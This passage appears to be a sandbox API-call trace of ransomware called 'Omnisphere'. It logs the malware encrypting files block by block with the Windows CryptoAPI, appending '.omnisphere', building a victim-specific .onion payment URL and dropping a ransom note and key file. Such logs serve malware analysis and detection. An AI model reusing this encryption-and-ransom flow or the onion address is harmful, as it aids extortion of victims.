dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.136] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.136] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.137] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.137] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.137] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.137] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.137] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.137] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.137] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.137] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.137] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.138] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.138] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.138] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.138] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.138] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.138] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.138] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.138] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.138] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.138] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.138] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.138] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.138] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.138] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.138] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.138] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.138] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.138] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.138] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.138] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.139] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.139] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.139] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.139] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.139] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.139] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.139] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.139] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.139] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.139] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.139] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.139] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.139] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.139] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.139] CryptDestroyKey (hKey=0x16396a8) returned 1 [0120.139] CryptReleaseContext (hProv=0x1668570, dwFlags=0x0) returned 1 [0120.139] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x3b2, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d7c0 | out: lpNewFilePointer=0x0) returned 1 [0120.139] WriteFile (in: hFile=0x28c, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d7d4, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d7d4*=0x524, lpOverlapped=0x0) returned 1 [0120.140] GetProcessHeap () returned 0x1600000 [0120.140] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x2a6) returned 0x16bd368 [0120.140] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\F76nMw.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\f76nmw.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\F76nMw.lnk.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\f76nmw.lnk.omnisphere")) returned 1 [0120.141] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\F76nMw.lnk.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\F76nMw.lnk.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\F76nMw.lnk.omnisphere.id" [0120.141] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\F76nMw.lnk.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\f76nmw.lnk.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0120.141] WriteFile (in: hFile=0x3c0, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d25c, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d25c*=0x524, lpOverlapped=0x0) returned 1 [0120.142] CloseHandle (hObject=0x3c0) returned 1 [0120.143] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0120.143] CloseHandle (hObject=0x288) returned 1 [0120.143] SetEndOfFile (hFile=0x28c) returned 1 [0120.143] FlushFileBuffers (hFile=0x28c) returned 1 [0120.157] CloseHandle (hObject=0x28c) returned 1 [0120.157] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\F76nMw.lnk" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent") returned 1 [0120.157] GetProcessHeap () returned 0x1600000 [0120.157] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x16c0af0 [0120.157] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0120.157] GetProcessHeap () returned 0x1600000 [0120.157] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x16b1c30 [0120.157] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x16b1c30, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0120.157] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0120.157] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0120.157] GetProcessHeap () returned 0x1600000 [0120.157] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x16b0068 [0120.157] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x16b0068, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0120.158] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0120.158] GetProcessHeap () returned 0x1600000 [0120.158] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xb0) returned 0x16bec88 [0120.158] PathCombineW (in: pszDest=0x16bec88, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" [0120.158] GetProcessHeap () returned 0x1600000 [0120.158] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x16c1bc8 [0120.158] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0120.158] WriteFile (in: hFile=0x28c, lpBuffer=0x16c1bc8*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0d7f4, lpOverlapped=0x0 | out: lpBuffer=0x16c1bc8*, lpNumberOfBytesWritten=0x3e0d7f4*=0x588, lpOverlapped=0x0) returned 1 [0120.158] CloseHandle (hObject=0x28c) returned 1 [0120.158] GetProcessHeap () returned 0x1600000 [0120.158] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16c0af0 | out: hHeap=0x1600000) returned 1 [0120.158] GetProcessHeap () returned 0x1600000 [0120.159] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xa6) returned 0x162cec8 [0120.159] PathCombineW (in: pszDest=0x162cec8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" [0120.159] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0120.159] WriteFile (in: hFile=0x28c, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0d808, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0d808*=0x5a0, lpOverlapped=0x0) returned 1 [0120.159] CloseHandle (hObject=0x28c) returned 1 [0120.159] GetProcessHeap () returned 0x1600000 [0120.159] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x162cec8 | out: hHeap=0x1600000) returned 1 [0120.159] GetProcessHeap () returned 0x1600000 [0120.159] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x167b768 | out: hHeap=0x1600000) returned 1 [0120.159] FindNextFileW (in: hFindFile=0x16397a8, lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x22660463, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x22660463, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x22660463, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x292, dwReserved0=0x0, dwReserved1=0xd3, cFileName="FbEeBr9puYmz.lnk", cAlternateFileName="FBEEBR~1.LNK")) returned 1 [0120.159] GetProcessHeap () returned 0x1600000 [0120.159] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xa2) returned 0x162cec8 [0120.159] PathCombineW (in: pszDest=0x162cec8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="FbEeBr9puYmz.lnk" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\FbEeBr9puYmz.lnk") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\FbEeBr9puYmz.lnk" [0120.159] StrStrW (lpFirst=".omnisphere", lpSrch=".lnk") returned 0x0 [0120.160] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\FbEeBr9puYmz.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\fbeebr9puymz.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0120.160] GetFileSizeEx (in: hFile=0x28c, lpFileSize=0x3e0d7cc | out: lpFileSize=0x3e0d7cc*=658) returned 1 [0120.160] GetTickCount () returned 0x115e05a [0120.160] GetTickCount () returned 0x115e05a [0120.160] GetTickCount () returned 0x115e05a [0120.160] GetTickCount () returned 0x115e05a [0120.160] GetTickCount () returned 0x115e05a [0120.160] GetTickCount () returned 0x115e05a [0120.160] GetTickCount () returned 0x115e05a [0120.160] GetTickCount () returned 0x115e05a [0120.160] GetTickCount () returned 0x115e05a [0120.161] GetTickCount () returned 0x115e05a [0120.161] GetTickCount () returned 0x115e05a [0120.161] GetTickCount () returned 0x115e05a [0120.161] GetTickCount () returned 0x115e05a [0120.161] GetTickCount () returned 0x115e05a [0120.161] GetTickCount () returned 0x115e05a [0120.161] GetTickCount () returned 0x115e05a [0120.161] GetTickCount () returned 0x115e05a [0120.161] GetTickCount () returned 0x115e05a [0120.161] GetTickCount () returned 0x115e05a [0120.161] GetTickCount () returned 0x115e05a [0120.161] GetTickCount () returned 0x115e05a [0120.161] GetTickCount () returned 0x115e05a [0120.161] GetTickCount () returned 0x115e05a [0120.161] GetTickCount () returned 0x115e05a [0120.161] GetTickCount () returned 0x115e05a [0120.161] GetTickCount () returned 0x115e05a [0120.161] GetTickCount () returned 0x115e05a [0120.161] GetTickCount () returned 0x115e05a [0120.161] GetTickCount () returned 0x115e05a [0120.161] GetTickCount () returned 0x115e05a [0120.161] GetTickCount () returned 0x115e05a [0120.161] GetTickCount () returned 0x115e05a [0120.161] CryptAcquireContextW (in: phProv=0x3e0d254, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0d254*=0x16689b0) returned 1 [0120.162] CryptImportKey (in: hProv=0x16689b0, pbData=0x3e0d1bc, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d260 | out: phKey=0x3e0d260*=0x1639b28) returned 1 [0120.162] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x75, dwBufLen=0x80 | out: pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x80) returned 1 [0120.162] CryptDestroyKey (hKey=0x1639b28) returned 1 [0120.162] CryptReleaseContext (hProv=0x16689b0, dwFlags=0x0) returned 1 [0120.162] CreateFileMappingW (hFile=0x28c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x292, lpName=0x0) returned 0x288 [0120.162] MapViewOfFile (hFileMappingObject=0x288, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x292) returned 0x1480000 [0120.162] CryptAcquireContextW (in: phProv=0x3e0d244, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0d244*=0x1668d68) returned 1 [0120.163] CryptImportKey (in: hProv=0x1668d68, pbData=0x3e0d1fc, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d254 | out: phKey=0x3e0d254*=0x16395e8) returned 1 [0120.163] CryptSetKeyParam (hKey=0x16395e8, dwParam=0x4, pbData=0x3e0d238*=0x2, dwFlags=0x0) returned 1 [0120.163] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0d240*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0d240*=0x10) returned 1 [0120.163] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.163] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.163] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.163] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.163] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.163] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.163] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.163] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.164] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.164] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, 